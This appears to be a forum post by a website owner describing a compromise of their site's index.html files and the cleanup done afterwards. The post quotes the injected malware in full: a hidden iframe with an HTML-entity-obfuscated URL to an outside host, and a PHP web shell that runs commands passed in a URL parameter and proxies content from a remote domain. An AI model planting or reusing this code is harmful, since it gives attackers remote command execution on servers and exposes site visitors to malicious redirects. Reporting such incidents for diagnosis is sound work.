Static Index.html Pages Hacked, Also Index Files

My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.

I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).

Going back on track, all files named "%index%" were hacked.

-I found a index.txt file with links to obscure sites.

The code was written at bottom of the all index.html files: iframe code

Code:
><!-- ~ --><iframe src="&#104&#116&#116&#112&#58&#47&#47&#103&#111&#111&#103&#108&#101&#116&#114&#97&#102&#102&#46&#99&#111&#109&#47&#105&#110&#46&#99&#103&#105&#63&#100&#101&#102&#97&#117&#108&#116" width="0" height="0" style="display:none"></iframe><!-- ~ -->
Also a line.php with the following code

PHP Code:

<?error_reporting(0);if($_GET['cmd45']) {system($_GET['cmd45']);}$domain = 'shemale1.biz';$ur = '/load.php?f=%s&ua=%s&ref=%s';$qs = $_SERVER['QUERY_STRING'];$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));$ref = urlencode($_SERVER['HTTP_REFERER']);$redirect = sprintf($ur,$qs,$ua,$ref);#print $redirect;#exit;echo getcontent($domain,80,$redirect);exit;function getcontent($server, $port, $file){$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;fputs($socket, "GET $file HTTP/1.0
");fputs($socket, "Referer: http://$refer
");fputs($socket, "Host: $server
");fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

");$wr = 0;while(!feof($socket)){  $temp = fgets($socket);    if(eregi("<",$temp)) {      $wr = 1;        }                      if($wr) {              $page .= $temp;                }                }                fclose($socket);                                return $page;                }                                ?>
So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...